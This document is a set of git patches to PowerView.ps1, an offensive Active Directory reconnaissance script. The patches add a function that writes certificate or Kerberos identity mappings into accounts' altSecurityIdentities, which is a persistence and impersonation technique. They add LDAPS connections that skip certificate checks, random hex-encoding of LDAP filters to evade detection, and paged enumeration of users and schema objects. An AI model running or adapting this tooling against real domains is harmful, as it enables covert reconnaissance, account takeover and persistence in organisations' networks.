[Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + $DomainDNArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential } + } + + + PROCESS { + $Filter = '' + if ($Identity) { + Write-Verbose "[Add-DomainAltSecurityIdentity] Setting provided identities: $Identity" + $Identity | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + } + + $AltIDString = '' + if ($PSBoundParameters['Type'] -eq 'Certificate') { + $DomainDN = Get-DomainDN @DomainDNArguments + $DomainDNSplit = $DomainDN -split ',' + [array]::Reverse($DomainDNSplit) + $ReversedDomainDN = $DomainDNSplit -join ',' + + $AltIDString = 'X509:' + if ($PSBoundParameters['Issuer']) { + $AltIDString += "$ReversedDomainDN,$Issuer" + } + if ($PSBoundParameters['Subject']) { + $AltIDString += "$ReversedDomainDN,$Subject" + } + else { + Write-Error "[Add-DomainAltSecurityIdentity] Certificate altSecurityIdentity requires a Subject" + return + } + } + elseif ($PSBoundParameters['Account']) { + $AltIDString = "Kerberos:$Account" + } + else { + Write-Error "[Add-DomainAltSecurityIdentity] A -Type must be set" + return + } + + Write-Verbose "[Add-DomainAltSecurityIdentity] Using Alternate Identity string: $AltIDString" + + + if ($Filter) { + $Searcher.filter = "(|$Filter)" + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + if ($Props.keys -contains 'altsecurityidentities') { + $AltIDs = $Props['altsecurityidentities'] + } + else { + $AltIDs = @() + } + + $AltIDs += $AltIDString + + Set-DomainObject $Props['samaccountname'] -Set @{'altsecurityidentities'=$AltIDs} + } + } + } +} + ######################################################## From 8490eb4d772e04b0eb19d6052f8829c5bdc67075 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Mon, 5 Jul 2021 00:27:36 +0100 Subject: [PATCH 35/58] added SSL support and some basic LDAP filter obfuscation using hex encoding --- Recon/PowerView.ps1 | 534 +++++++++++++++++++++++++++++++++++++------- 1 file changed, 457 insertions(+), 77 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 16c9dc6b..648a4d37 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3167,7 +3167,7 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties = @{} - $Properties.PropertyNames | ForEach-Object { + $Properties.keys | Sort-Object | ForEach-Object { if ($_ -ne 'adspath') { if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { # convert all listed sids (i.e. if multiple are listed in sidHistory) @@ -3342,6 +3342,10 @@ Switch. Specifies that the searcher should also return deleted/tombstoned object A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Use SSL Connection to LDAP Server + .EXAMPLE Get-DomainSearcher -Domain testlab.local @@ -3418,7 +3422,10 @@ System.DirectoryServices.DirectorySearcher [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL ) PROCESS { @@ -3459,92 +3466,113 @@ System.DirectoryServices.DirectorySearcher $BindServer = $Server } - $SearchString = 'LDAP://' - - if ($BindServer -and ($BindServer.Trim() -ne '')) { - $SearchString += $BindServer - if ($TargetDomain) { - $SearchString += '/' + if ($PSBoundParameters['SSL']) { + if ([string]::IsNullOrEmpty($BindServer)) { + $DomainObject = Get-Domain + $BindServer = ($DomainObject.PdcRoleOwner).Name + } + [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null + Write-Verbose "[Invoke-LDAPSQuery] Connecting to $($BindServer):636" + $Searcher = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList "$($BindServer):636" + $Searcher.SessionOptions.SecureSocketLayer = $true; + $Searcher.SessionOptions.VerifyServerCertificate = { $true } + $Searcher.SessionOptions.DomainName = $TargetDomain + $Searcher.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate + if ($PSBoundParameters['Credential']) { + $Searcher.Bind($Credential) + } + else { + $Searcher.Bind() } } + else { + $SearchString = 'LDAP://' - if ($PSBoundParameters['SearchBasePrefix']) { - $SearchString += $SearchBasePrefix + ',' - } + if ($BindServer -and ($BindServer.Trim() -ne '')) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } + } - if ($PSBoundParameters['SearchBase']) { - if ($SearchBase -Match '^GC://') { - # if we're searching the global catalog, get the path in the right format - $DN = $SearchBase.ToUpper().Trim('/') - $SearchString = '' + if ($PSBoundParameters['SearchBasePrefix']) { + $SearchString += $SearchBasePrefix + ',' } - else { - if ($SearchBase -match '^LDAP://') { - if ($SearchBase -match "LDAP://.+/.+") { - $SearchString = '' - $DN = $SearchBase + + if ($PSBoundParameters['SearchBase']) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' + } + else { + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + $DN = $SearchBase + } + else { + $DN = $SearchBase.SubString(7) + } } else { - $DN = $SearchBase.SubString(7) + $DN = $SearchBase } } - else { - $DN = $SearchBase - } } - } - else { - # transform the target domain name into a distinguishedName if an ADS search base is not specified - if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { - $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } } - } - $SearchString += $DN - Write-Verbose "[Get-DomainSearcher] search base: $SearchString" + $SearchString += $DN + Write-Verbose "[Get-DomainSearcher] search base: $SearchString" - if ($Credential -ne [Management.Automation.PSCredential]::Empty) { - Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" - # bind to the inital search object using alternate credentials - $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) - $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) - } - else { - # bind to the inital object using the current credentials - $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) - } + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + # bind to the inital object using the current credentials + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } - $Searcher.PageSize = $ResultPageSize - $Searcher.SearchScope = $SearchScope - $Searcher.CacheResults = $False - $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All - if ($PSBoundParameters['ServerTimeLimit']) { - $Searcher.ServerTimeLimit = $ServerTimeLimit - } + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } - if ($PSBoundParameters['Tombstone']) { - $Searcher.Tombstone = $True - } + if ($PSBoundParameters['Tombstone']) { + $Searcher.Tombstone = $True + } - if ($PSBoundParameters['LDAPFilter']) { - $Searcher.filter = $LDAPFilter - } + if ($PSBoundParameters['LDAPFilter']) { + $Searcher.filter = $LDAPFilter + } - if ($PSBoundParameters['SecurityMasks']) { - $Searcher.SecurityMasks = Switch ($SecurityMasks) { - 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } - 'Group' { [System.DirectoryServices.SecurityMasks]::Group } - 'None' { [System.DirectoryServices.SecurityMasks]::None } - 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } - 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + if ($PSBoundParameters['SecurityMasks']) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } } - } - if ($PSBoundParameters['Properties']) { - # handle an array of properties to load w/ the possibility of comma-separated strings - $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } - $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + if ($PSBoundParameters['Properties']) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } } $Searcher @@ -5024,6 +5052,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainUser -Domain testlab.local @@ -5220,7 +5256,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) DynamicParam { @@ -5423,15 +5465,35 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" - if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } - else { $Results = $UserSearcher.FindAll() } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306368)$Filter)" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } $Continue = $True if ($PSBoundParameters['PassExpired']) { if ($MaximumAge -gt 0) { - $PwdLastSet = $_.Properties.pwdlastset[0] + $PwdLastSet = $Prop.pwdlastset[0] if ($PwdLastSet -eq 0) { - $PwdLastSet = $_.Properties.whencreated[0] + $PwdLastSet = $Prop.whencreated[0] } $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() if ($PwdLastSet -gt $ExpireTime) { @@ -5442,11 +5504,11 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Continue = $False } } - elseif ($PSBoundParameters['PassNotExpired'] -and (($_.Properties.useraccountcontrol[0] -band 65536) -ne 65536)) { + elseif ($PSBoundParameters['PassNotExpired'] -and (($Prop.useraccountcontrol[0] -band 65536) -ne 65536)) { if ($MaximumAge -gt 0) { - $PwdLastSet = $_.Properties.pwdlastset[0] + $PwdLastSet = $Prop.pwdlastset[0] if ($PwdLastSet -eq 0) { - $PwdLastSet = $_.Properties.whencreated[0] + $PwdLastSet = $Prop.whencreated[0] } $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() if ($PwdLastSet -le $ExpireTime) { @@ -5461,7 +5523,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') } else { - $User = Convert-LDAPProperty -Properties $_.Properties + $User = Convert-LDAPProperty -Properties $Prop $User.PSObject.TypeNames.Insert(0, 'PowerView.User') } $User @@ -23250,6 +23312,324 @@ Nothing } } +function Invoke-LDAPQuery { +<# +.SYNOPSIS + +Retrieve an LDAP query and return the results in a common format. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Retrieve an LDAP query and return the results in a common format. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.PARAMETER SSL + +Switch. Use SSL to connect to LDAP Server. + +.PARAMETER Obfuscate + +Switch. Automatically obfuscate LDAP filter string using hex encoding. + +.EXAMPLE + +Invoke-LDAPQuery -Domain testlab.local + +.INPUTS + +String + +.OUTPUTS + +PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Obfuscate']) { + $LDAPFilter = Get-ObfuscatedFilterString -LDAPFilter $LDAPFilter + } + if ($PSBoundParameters['SSL']) { + $Searcher = Get-DomainSearcher @SearcherArguments -SSL + + $Request = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest + if ($PSBoundParameters['SearchBase']) { + $Request.DistinguishedName = $SearchBase + } + else { + $TargetDomain = $Searcher.SessionOptions.DomainName + $DomainDN = "DC=$($TargetDomain.Replace('.',',DC='))" + $Request.DistinguishedName = $DomainDN + } + if ($PSBoundParameters['SearchScope']) { + $Request.Scope = $SearchScope + } + if ($PSBoundParameters['FindOne']) { + $Request.SizeLimit = 1 + } + $Request.Filter = "$LdapFilter" + $Response = $Searcher.SendRequest($Request) + + if ($Response.ResultCode -eq 'Success') { + $Results = $response.Entries + } + } + else { + $Searcher = Get-DomainSearcher @SearcherArguments + $Searcher.filter = "$LDAPFilter" + Write-Verbose "[Invoke-LDAPQuery] filter string: $($Searcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $Searcher.FindOne() } + else { $Results = $Searcher.FindAll() } + } + $Results + } +} + +function Get-ObfuscatedFilterString { +<# +.SYNOPSIS + +Randomly obfuscate LDAP filter string with random hex characters. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Randomly obfuscate LDAP filter string with random hex characters. + +.PARAMETER LDAPFilter + +.EXAMPLE + +Get-ObfuscatedFilterString -LDAPFilter "(samaccounttype=805306368)" + +.INPUTS + +String + +.OUTPUTS + +String +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('String')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $LDAPFilter + ) + + Write-Verbose "[Get-ObfuscatedFilterString] Obfuscating filter string: $($LDAPFilter)" + $Parts = $LDAPFilter -split '=' + $OutFilter = "$($Parts[0])=" + $Skip = $False + if ($Parts[0] -match 'userAccountControl') { + $Skip = $True + } + for ($i=1; $i -lt $Parts.Length; $i++) { + if ($Skip) { + if ($Parts[$i] -notmatch 'userAccountControl') { + $Skip = $False + } + if ($i -eq $Parts.Length - 1) { + $OutFilter += "$($Parts[$i])" + } + else { + $OutFilter += "$($Parts[$i])=" + } + + } + else { + $Value = $Parts[$i].SubString(0,$Parts[$i].IndexOf(')')) + if ($Value.Length -gt 0) { + $OutValueHash = @{} + for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length)); $c++) { + $Index = Get-Random -Maximum $($Value.Length - 1) + if (($OutValueHash.keys | Measure-Object).Count -ne 0) { + if ($OutValueHash.keys -contains $Index) { + Do + { + $Index = Get-Random -Maximum $($Value.Length - 1) + } While ($OutValueHash.keys -contains $Index) + } + } + $OutValueHash[$Index] = '\{0:x}' -f [System.Convert]::ToUInt32($Value[$Index]) + } + for ($c=0; $c -lt $Value.Length; $c++) { + if ($OutValueHash.keys -contains $c) { + $OutFilter += "$($OutValueHash[$c])" + } + else { + $OutFilter += "$($Value[$c])" + } + } + $Next = $Parts[$i].SubString($Parts[$i].IndexOf(')')) + if ($i -eq $Parts.Length - 1) { + $OutFilter += "$($Next)" + } + else { + $OutFilter += "$($Next)=" + } + if ($Next -match 'userAccountControl') { + $Skip = $True + } + } + } + } + + Write-Verbose "[Get-ObfuscatedFilterString] Filter string obfuscated: $($OutFilter)" + $OutFilter +} + ######################################################## From 48fb5d2d7ce55c308d4325b2787a3fa5a4b5310d Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Mon, 5 Jul 2021 01:39:42 +0100 Subject: [PATCH 36/58] small fixe --- Recon/PowerView.ps1 | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 648a4d37..a80e7d58 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3472,7 +3472,7 @@ System.DirectoryServices.DirectorySearcher $BindServer = ($DomainObject.PdcRoleOwner).Name } [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null - Write-Verbose "[Invoke-LDAPSQuery] Connecting to $($BindServer):636" + Write-Verbose "[Get-DomainSearcher] Connecting to $($BindServer):636" $Searcher = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList "$($BindServer):636" $Searcher.SessionOptions.SecureSocketLayer = $true; $Searcher.SessionOptions.VerifyServerCertificate = { $true } @@ -5531,9 +5531,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } if ($Results) { try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" - } + catch { } } $UserSearcher.dispose() } @@ -23592,7 +23590,7 @@ String $Value = $Parts[$i].SubString(0,$Parts[$i].IndexOf(')')) if ($Value.Length -gt 0) { $OutValueHash = @{} - for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length)); $c++) { + for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length) -Minimum 1); $c++) { $Index = Get-Random -Maximum $($Value.Length - 1) if (($OutValueHash.keys | Measure-Object).Count -ne 0) { if ($OutValueHash.keys -contains $Index) { From 35578566f7545f7232a249d7a7d4784092d9e528 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Tue, 27 Jul 2021 13:06:56 +0100 Subject: [PATCH 37/58] first attempt at fixing LdapConnection size limit issue --- Recon/PowerView.ps1 | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a80e7d58..cae14518 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -23492,9 +23492,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $LDAPFilter = Get-ObfuscatedFilterString -LDAPFilter $LDAPFilter } if ($PSBoundParameters['SSL']) { + $MaxResultsToRequest = 100 + $Results = @() $Searcher = Get-DomainSearcher @SearcherArguments -SSL $Request = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest + $PageRequestControl = New-Object -TypeName System.DirectoryServices.Protocols.PageResultRequestControl -ArgumentList $MaxResultsToRequest + if ($PSBoundParameters['SearchBase']) { $Request.DistinguishedName = $SearchBase } @@ -23509,11 +23513,21 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['FindOne']) { $Request.SizeLimit = 1 } + $Request.Controls.Add($PageRequestControl) $Request.Filter = "$LdapFilter" - $Response = $Searcher.SendRequest($Request) - if ($Response.ResultCode -eq 'Success') { - $Results = $response.Entries + while($true) { + $Response = $Searcher.SendRequest($Request) + if ($Response.ResultCode -eq 'Success') { + foreach ($entry in $response.Entries) { + $Results += $entry + } + } + $PageResponseControl = [System.DirectoryServices.Protocols.PageResultResponseControl]$Response.Controls[0] + if ($PageResponseControl.Cookie.Length -eq 0) { + break + } + $PageRequestControl.Cookie = $PageResponseControl.Cookie } } else { From 94c545705a5932d2e2bd705c689abcc80295b824 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Tue, 27 Jul 2021 15:18:50 +0100 Subject: [PATCH 38/58] added ssl support to Get-DomainComputer and Get-DomainObject, doesn't work for Get-DomainObjectAcl yet --- Recon/PowerView.ps1 | 227 +++++++++++++++++++++++++++++++++++++------- 1 file changed, 195 insertions(+), 32 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index cae14518..0c8d28cc 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5287,6 +5287,8 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $UserSearcher = Get-DomainSearcher @SearcherArguments $PolicyArguments = @{} @@ -5462,18 +5464,16 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } } - $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" - Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" + #$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" + #Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" - if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } - if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306368)$Filter)" $Results | Where-Object {$_} | ForEach-Object { if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { $Prop = @{} foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid')) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { $Prop[$a] = $_.Attributes[$a] } else { @@ -5488,6 +5488,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. else { $Prop = $_.Properties } + $Continue = $True if ($PSBoundParameters['PassExpired']) { if ($MaximumAge -gt 0) { @@ -6119,6 +6120,14 @@ Specifies the maximum amount of time the server spends searching. Default of 120 A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .OUTPUTS Hashtable @@ -6153,7 +6162,13 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} @@ -6173,20 +6188,40 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- $SearcherArguments = @{ 'SearchBase' = $SchemaPath - 'LDAPFilter' = '(schemaIDGUID=*)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } $SchemaSearcher = Get-DomainSearcher @SearcherArguments if ($SchemaSearcher) { + $LDAPFilter = '(schemaIDGUID=*)' try { - $Results = $SchemaSearcher.FindAll() + Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" $Results | Where-Object {$_} | ForEach-Object { - $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + + $GUIDs[(New-Object Guid (,$Prop.schemaidguid[0])).Guid] = $Prop.name[0] } if ($Results) { try { $Results.dispose() } @@ -6202,14 +6237,33 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- } $SearcherArguments['SearchBase'] 